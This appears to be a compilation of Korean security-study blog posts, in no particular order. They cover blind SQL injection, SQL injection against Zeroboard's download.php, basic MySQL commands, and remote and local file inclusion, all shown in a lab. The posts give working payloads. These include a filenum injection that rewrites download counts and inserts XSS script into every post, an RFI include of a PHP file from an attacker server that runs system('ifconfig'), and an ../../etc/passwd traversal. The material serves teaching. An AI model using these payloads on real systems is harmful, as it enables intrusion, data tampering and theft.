전체글에서 팝업창이 뜨면 귀찮을거 같기 때문에...



(SQL Injection url)



실행해보니 19번 글을 클릭할 때 XSS 스크립트가 실행되었다.



(XSS 공격)



소스코드를 보니



(소스코드)



XSS 스크립트가 추가된 것을 확인 할 수 있다.

이렇게 SQL Injection은 XSS 공격에도 이용할 수 있을 만큼 강력한 취약점이다.

이번에 다뤄볼 내용은 Blind SQL Injection이다.

* Blind SQL Injection
-> 소스코드 없이 오직 페이지에 있는 코드 혹은 SQL 명령들의 결과로부터만 공격을 하는 것이다.
-> DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지 않는 데이터들을 노출시키는 공격이다.
지금 까지는 우리가 서버에 들어가서 소스코드를 분석하면서 취약점을 분석하였다.
하지만 이번에는 오직 웹 브라우저를 통해서 공격하는 것이다.

먼저 이 공격에 대해 이해하기 위해
Blind Injection에 아주아주 취약한 웹페이지를 만들어보고 그 페이지를 대상으로 공격을 해보겠다.

1) 테스트용 DB
 DB : blind
 table 3개가 필요하다.
 - news: no, title, news
 - fnews: no, title, news, bigo
 - anews : no, title



(DB 생성)




(테이블 생성)




(적절한 데이터 입력)



DB 생성, 테이블 생성, 적절한 데이터까지 몇개 입력해보았다.

이제 이 DB를 이용해 간단한 그리고 취약한 PHP 페이지를 만들것이다.



(PHP 페이지 코드)



웹 페이지에서 확인해보면
no변수를 GET 방식을 통해 전달받으면서 해당 no의 글을 화면에 보여주는 페이지이다.



(웹 페이지 모습)



취약점의 존재 확인방법 : 참 or 거짓을 이용한다.
 1) and 1=1 , and 'a'='a',  and 1  , true false 사용 가능, && 기호(url인코딩값) 사용 가능  (참 이용)
 2) and 1=2, and 0, and False,   (거짓 이용)
 3) or 1=1  ,  || 기호 사용 가능(url인코딩사용해야한다.)
 4) or 1=2
참일 경우 화면에 보여지지만, 거짓일 경우에는 화면에 보여지지 않을 것이다.




(참)




(거짓)



이러한 명령들을 로그에서도 확인해 볼 수 있다.



(로그)



혹은 no의 변수에 1 || 1  을 입력하게 되면
뒤에 1이 항상 참이기 때문에 no=1의 글만이 아닌 1을 포함해서 모든 글을 가져오게 된다.



(1=1 입력)



이렇듯
입력값 조작 을 통해 화면이 다르게 나오면 인젝션 취약점을 의심해 볼 수 있다.
=> 입력값에 의해 쿼리가 사용된다는 것을 의심해 볼 수 있다.

그렇다면 조작할 수 있는 것은 알겠는데
이로써 다른 데이터들을 보려고 한다면 no변수에 입력을 통해 추가적으로 다른 테이블을 검색할 수 있어야한다.
즉, 2개 이상의 쿼리문을 실행시킬 수 있어야한다.
어떻게?

1). ; 을 이용한 방법
; (세미콜론)을 이용하면 여러개의 명령을 동시에 실행 시킬 수 있다.



(두개의 명령 실행)



검색 결과가 2개가 나온 것을 확인 할 수 있다.

하지만 안타깝게도 이 방법은 현재 우리 코드에서 적용하지 못한다. 이유는...
우리가 mysql_query() 함수를 사용하는데 이는 단일 쿼리만 가능하도록 되있는 함수이기 때문이다..
다른데서는 가능할 수 도 있지만, 우리에게는 사용할 수 없다ㅜ

2). union 을 이용한 방법 (이거는 select에서만 사용 가능하다.)
union을 이용하면 추가적인 select 명령을 할 수 있다.



(union 사용)



사용 화면에 보다시피 한테이블에 합쳐져서 나온다.

그렇기 때문에 예상할 수 있는 오류가 있다.
만약 두 개의 쿼리에서 찾는 테이블의 컬럼의 수가 일치하지 않으면??



(에러 모습)



에러가 난다~
news는 컬럼이 3개 이기 때문에 fnews 테이블을 컬럼 3개만 맞춰서 select 명령을 실행 할 수 밖에 없다.
무조건 앞에 있는 테이블을 기준으로 컬럼을 맞춰야한다.



(컬럼 일치시키기)



그렇다면 anews 처럼 2개 밖에없으면??
즉, news 보다 더 적은 테이블을 검색한다면 어떨까?



(오류)



물론 오류난다..

이를 해결하기 위해서는 컬럼을 일치시키기위해 아무값이나 추가해서 컬럼을 추가한다.



(컬럼 일치시키기)



바로~ 이러한 특성을 이용하여
보이지 않는? 테이블의 컬럼의 수를 맞출 수 있다.
현재 우리는 우리가 테이블을 만들었기 때문에 컬럼의 수를 알고 있지만
Blind SQL Injection이다.

우리에게 주어진건 웹페이지 뿐이다.!
이 때 이 화면에 보여지는 테이블의 컬럼의 수 정보를 알아내는 것은
매우 중요하다.
왜냐하면 뒤에 union을 사용하여 추가적인 다른 테이블을 검색해볼것인데
union을 사용하려면 앞의 테이블의 컬럼 수와 일치시켜야하기 때문이다.!

그렇다면 현재 페이지의 DB 컬럼 수를 맞추기 부터 해보자!

* 컬럼의 개수를 아는 방법
컬럼 개수를 아는 방법은 여러가지가 있다.
1. 찍기. (다해보기)
-> 무식한 방법일 수 있지만 확실한 방법이다.

union select 1
union select 1, 2
union select 1, 2, 3
...
쭉 다 해본다.
그렇게 되서 화면에 내용이 나오게되면 바로 그 만큼의 개수가 존재 한다는 것이다.
원리는 위에서 union 할 때 앞의 컬럼의 수와 일치하는 컬럼의 수를 입력해야 된다는 것이다.



(컬럼 수 맞추기)



컬럼 수가 3개 이기 때문에 1, 2, 3 이렇게 3개의 값을 컬럼 정보에 넣었을 때 데이터가 보인다.


(그렇지 않은 경우)



그렇지 않은 경우 SQL 명령에서 오류가 나기때문에 화면에 아무 내용도 보이지 않게 된다.

2) order by 를 이용한 방법
-> 2진 탐색을 이용할 수 있는 방법이다.

select 에서 order by를 이용하면 컬럼의 정보로 정렬을 할 수 있다.



(사용 예시)



그런데 이걸 바로 숫자입력?으로도 정렬을 할 수 있다.



(order by 1)



이 방법의 원리는 이렇다.
=> orber by 10 으로 했는데 안나왔다. -> 컬럼이 10개보다 적다.
 => order by 2 로 했는데 나왔다. -> 컬럼이 2개보다 많다는 뜻이다.




(order by 방법)



이렇게 컬럼의 수를 맞추는 방법까지 알아보았다.

이제 다음 포스트 글에서는 Guessing을 이용해 DB 정보에 더 다가가는 방법에 대해
알아보겠다
:)




오늘은
제로보드의 SQL 취약점을 살펴볼 것이다.

그 중에서 PHP File Download 취약점을 살펴 볼 것이다.

지난 글에서 만들었던 게시판에서 글을 확인해 보면
다운로드 옆에 숫자가 보이는데
다운로드 횟수를 보여준다.



(다운로드 횟수)



바로 이 횟수가 DB에 저장된 값 중 하나인데
이 페이지의 소스코드를 분석해보자

다운로드를 클릭하면 download.php 파일로 이동하는 것을 확인 할 수 있다.



(download.php 파일 이동)



download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1
코드를 보면 download.php 파일로 GET방식으로 변수들의 값을 가져가고 있는 것을 확인 할 수 있다.

그렇다면 download.php 파일을 확인해보자.



(download.php 파일)



소스 코드를 보면 44번 행에
mysql_query를 볼 수 있다.



(SQL 구문)



mysql_query("update $t_board"."_$id set douwnload".$filenum."=download".$filenum."+1 where no='$no'");
이 구문인데 실행될 떄 어떤 SQL이 만들어져서 보내지는지 확인해 보겠다.
먼저 $t_board 변수인데
download.php 페이지에서는 이 변수를 정의하고 있지 않다.
대신
이 페이지의 위 쪽에 코드를 보면
require "lib.php";  에서
즉 lib.php에서 이 변수를 정의하고 있는 것을 확인 할 수 있었다.



(lib.php 에서 정의)



확인한 결과
lib.php 39번라인에서 $t_board = "zetyx_board";로 정의 되어있었다.

또 나머지 변수는 GET 방식에서 넘어오는 변수들인 것을 확인 할 수 있다.
$id=gogo_test
 $filenum=1
 $no=19

즉, 이 값들을 토대로 해서
어떤 쿼리가 전송되는지 조합해보면
update zetyx_board_gogo_test set download1=download1+1 where no='19';
이러한 쿼리가 만들어져서 보내지는 것을 확인 할 수 있다.

실제로 이런 쿼리가 만들어지는지 확인해보자

먼저
SQL 로그를 기록되게 하기위해서 실행중인 SQL을 끄고 다시 실행하도록 하자.



(sql 종료)



종료 후 옵션을 걸어서 실행해 줄 것이다.

#> mysqld_safe --log=query.log &
로 실행하게 되면
로그가 기록되게 된다.



(로그 기록 실행)



기록되는 로그의 위치는
/var/lib/mysql 에 있는
query.log 파일이다.



(로그 파일 확인)



로그 파일을 열어둔채 다시 다운로드를 클릭하면
아래와 같이 로그가 기록되는 것을 확인 할 수 있다.



(로그 확인)



로그를 보면 우리가 예상했던 update 구문이 정확히 일치한다는 것을 볼 수 있다.
우리의 생각이 맞았던 것이다.

자 그렇게되면
우리가 조작할 수 있는 값은 3개
이 3개로 SQL구문을 Injection 할 수 있다는 것이다.

예를 들어 id변수를 hello로 바꿀 수 있다.



(SQL Injection)




(결과 화면)




그 결과 hello라는 게시판이 없어서 이런 페이지가 나왔고
아무 일이 이러나지 않았다.

두번 째로 no변수를 1로 바꾸어 보았다.




(no 변조)




no 1의 게시 다운로드1 의 횟수가 1 추가되었는지 확인해보자

mysql에 들어가서 아래와 같이 확인해본다.



(확인)



(1 추가)



확인해본 결과 1이 증가했다는 것을 볼 수 있다.

그렇다면 마지막으로 filenum?
$filenum=1=100
으로 하면 어떻게 될까?
그렇게 되면
update zetyx_board_gogo_test set download1=100=download1=100+1 where no='19';
이 되게 되고 문법에 맞지 않아 실행이 되지 않는다.
하지만 이러한 변조는 아마 눈치 챘을 거라 생각한다.
바로 다운로드 횟수 100으로 바꿀 수 있다는 가능성이 있다는 것이다.



(다운로드 회수 100 조작)



하지만 뒤에 문법이 맞지 않는다는 것이 문제다.
그렇다면 뒷 부분을 주석처리할 수 있다면?
주석 : --, /* */, #
예를 들어
update zetyx_board_gogo_test set download1=100#=download1=100#+1 where no='19';
이렇게 되게 하기 위하여
filenum에다가 1=100# 을 넣는다면
뒷부분은 주석처리 되고 다운로드1의 횟수가 100이 되는 SQL 명령이 된다.



(SQL Injection)




(실행 결과)



실행 결과 로그를 확인해보니 #이 빠져있다..!
바로 URL에서 입력할 때 특수 문자는 URL Encoding이 되기 때문이다.

* URL encoding
 - URL에서 사용하는 특수문자
 - 공백: +, %20 (아스키 코드)
 - 문자에 해당하는 아스키코드 앞에 %를 붙여주면된다.
 # -> %23

그렇기 때문에 주석 처리를 위한 # 대신에 %23을 사용한다면?



(%23 사용)



결과 다운로드 수가 100으로 적용된 것을 볼 수 있다.



(100 적용)



그리고 뒤에 where 조건이 없었으므로 아마 모든 글의
다운로드1 횟수가 100으로 됬을 것이다.



(100으로 적용됨)



이 때 사용된 쿼리문을 로그에서 확인해보면



(쿼리 확인)



#이 아까처럼 사라지지 않고
남아서 주석처리 역할을 한것을 볼 수 있다.


그렇다면~?
이러한 SQL Injection을 이용해 XSS공격을 할 수 있을까?
예를들어 update구문을 이용해 게시글에 스크립트를 추가하도록 하는 것이다.
그렇게 되면 스크립트 차단을 해놨어도 우회할 수 있는 길이 생기게 된다.

먼저 게시글이 DB의 어떤 컬럼에 저장되는지 확인한다.



(게시글 내용)



확인해본 결과 게시글은 memo라는 컬럼에 데이터가 저장되는 것을 확인 할 수 있다.

우리는 그냥 update를 사용하면 원래 글 내용이 사라지므로
원래 글 뒷부분에 스크립트를 추가해보겠다.

이를 위해 concat이라는 함수가 있다.
바로 문자열을 연결해주는 함수이다.



(concat)



위 처럼 문자열을 연결해주는 역할을 한다.

우리는 이것을 이용하여
concat(memo, '스크립트') 를 사용할 것이다.

그렇게 되면 아래와 같은 url이 나온다.



(공격에 사용된 url)



실제 적용해보면
예상되는 쿼리는
update zetyx_board_gogo_test set download1=100, memo=concat(memo, '<script>alert(\'attack!!\') </script>')  #=download1=100#+1 where no='19';
이렇다.
게시글 뒷부분에 스크립트 코드가 추가되는 것이다.



(SQL Injection 실행)



실행 후 로그를 확인해보면



(로그 확인)



우리가 예상한 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

우리가 where 조건을 주지 않았기 때문에
모든 글에 스크립트가 들어가서


(XSS 공격)



XSS 공격 팝업 창이 뜰 것이다.

게시글의 코드를 확인해보면



(스크립트 코드 추가)



스크립트 코드가 추가된 것을 확인 할 수 있다.


간단하게 이러한 Injection을 막기 위해
magic_quotes_gpc 라는 설정을 켜둔다. GPC(Get, Post, Cookie)
하지만 5.4버전부터 이 설정이 사라져있다. (성능 때문에)

설정의 vi /etc/php.ini
파일에서 483번 라인을 On 해주면 된다.



(설정)



이렇게 되면 문자열 입력이 안된다.
한번 해보겠다.
단순히
download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1=100,%20me

mo=concat(memo,'injection test !')%20%23
이렇게 게시글에 injection test! 문자열을 추가해볼것이다.



(SQL Injection)



실행 후 SQL 로그를 확인해 보면




(로그 확인)




' 쿼터 앞에 \ (역슬래쉬)가 붙은 것을 볼 수 있다.
그래서 '가 문자열의 역할을 못하게 되어 SQL Injection이 되지 않았다.

=> 문자열 인젝션은 따옴표를 적어줘야하는데
여기서 magic_quotes_gpc 설정을 해주면 문자열 따옴표가 escape되서
문자열을 나타내지 못하게 된다.
그러므로 문자열 인젝션이 불가능하게 된다.
하지만 이걸 켜주게 되면
모든 입력에 대해 전부 체크하게 된다.
-> 쿼리문이 없더라도 입력값을 전부 체크하기 때문에 성능이 떨어지게 된다.
그렇기 때문에 사라진 것이다. 만들때 함수를 이용하여 체크할 수 있도록 해둔 것이다.
=> 설정에서 빠진 이유이다.




저번 글에서 테이블 생성까지 CREATE 명령을 사용해보았다.

만들어진 테이블을 이용하여
DML 언어
- INSERT(추가/입력/삽입), SELECT(확인), UPDATE(수정), DELETE(삭제)를 공부해보겠다 :)

* INSERT
 mysql> insert into [테이블이름] values( colum1 value, colum2 value, ...);
 

숫자와 문자는 쿼터로 구분한다. '' 혹은 ""이 있으면 문자이다.



(insert 사용)



또다른 방법
 mysql> insert into [테이블이름]( colum_name, colum_name, ...) values( colum1 value, colum2 value, ...);
이 것은 어느 필드를 채워줄지 앞에서 써주는 것이다.
안써도 되지만 안쓰면 모든 필드를 입력하지 않으면 에러가 나온다.


(insert2 사용)





* SELECT
 - 내용을 화면에 출력하고자 할 때 사용한다.
 - DB내에서 사용하는 출력문이라고 생각하면 된다.

예를 들어 select 'hello'; 를 입력하면
hello 라고 출력이 된다.


(select)



DB에서 검색하여 출력할 때
mysql> select [필드이름] from [테이블이름];
필드 이름을 * 로 적으면 모든 필드가 출력이 된다.


(모든 필드 출력)



필드를 no로 지정해준 경우


(no_select)



select 구문 뒤에 where을 사용하여 조건을 추가시킬 수 도 있다.



(where 조건)





* UPDATE
 mysql> update [테이블이름] set [컬럼]=[값];
 -> 이렇게만 사용하면 전체 컬럼이 다 바뀌어버린다.
 mysql> update [테이블이름] set [컬럼]=[값] where 컬럼=값;



(where 조건(x))




조건이 없는 경우 위와 같이
모든 행의 데이터가 바뀐다.

예를 들어 성별이 M 인 행만 나이를 22 살로 업데이트하면



(update + 조건)



성별이 M인 행만 22로 바뀐 것을 확인 할 수 있다.





* DELETE
 - 행을 삭제하는 것이다.
 - 컬럼을 삭제하지는 못한다.
 - 컬럼을 삭제하는 것은 DDL로 삭제한다.
 - 특정 컬럼만 없애고 싶으면 UPDATE를 이용해야한다.
 - DELETE는 한 행을 삭제한다.

만약 delete를 사용하는데 뒤에 where 조건이 없다면
모든 데이터가 사라진다.



(조건(x) delete)



where 뒤에 조건을 주어 특정 행을 삭제 할 수 있다.

예를 들어 no가 3인 행을 삭제해 보겠다.



(행 삭제)



여기 까지 기초적인 SQL 공부였다. :)



저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.

그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.

오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI  (Remote File Include 취약점) 이다.

현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.

* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.

 -> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..! 
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!

즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
 
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인

 /var/www/html/zboard/skin/zero_vote/error.php
 - 첫 번째 라인 코드
 <? include "$dir/value.php3"; ?>
 => 경로에 변수가 사용되고 있다.
 -> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.

바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.

 http://192.168.3.11/value.php3
 => url을 통해 인클루드 또한 가능하다.

악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가.  (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)

코드 내용은
<?
 system('ifconfig');
?>
이렇다.

공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203  을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.

=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.

취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.

* 그래서 사실 원격 include를 꺼둔다 요즘은.

RFI 취약점 공격 조건
 - include, require, 등등
 - 입력값 검증의 부재
 - 객체에 대한 직접 접근

그렇다면 RFI 공격을 확인해보겠다.

먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.



(error.php 파일)



파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.



(취약점)


그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.



(직접 접근)



직접 접근이 가능하다.!

공격을 시작해보겠다.

이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..

그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.



(공격 화면)



dir 경로에 http://192.168.3.203  이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.

RFI 과 반대(?)로
LFI가 있다.

바로  로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php   를 만든다. 코드는 아래와 같다.
<?
 include "auth/$file";
?>


(취약점 존재 파일 생성)




(코드)



위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.

예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.



(동작 원리)



하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!



(공격 화면)



이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.

그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.

이제 SQL을 이용한 취약점을 알아보겠다 :)

먼저 SQL을 이해해야한다.

SQL => Structured Query Langauage 
    - DB 표준언어이다.
    - DBMS마다 문법의 차이는 있다.
    - DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
                                     (noSQL, ...)

* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)

1) DDL : Data Definition Langauage
 - 데이터 정의어이다.
 - 실제 데이터를 조작하지는 못하는 쿼리이다.
 - DB, 테이블 생성 및 삭제를 한다.
 - ex) CREATE, DROP

2) DML : Data Manipulation Language
 - 데이터 조작어이다.
 - 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
 - ex) SELECT, INSERT, DELETE, UPDATE

3) DCL : Data Control Langauage
 - 데이터 제어어이다.
 - 권한, 트랜잭션, 등등의 역할을 한다.

* 주소록 DB를 만들어 볼 것이다. (SQL 이해)

1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.



(MySQL 접속)



2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.



(데이터 베이스 목록)



3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;



(DB 생성)



show databases 로 확인해 보겠다.



(생성 확인)



확인해보면 address_list가 생성된 것을 확인 할 수 있다.

4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;

삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.



(DB 삭제)



삭제 된 것을 확인 할 수 있다.

5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.

만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.

* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜

먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.


(DB 접속)



그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);



(테이블 생성)



테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.



(테이블 확인)


+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];




+ Recent posts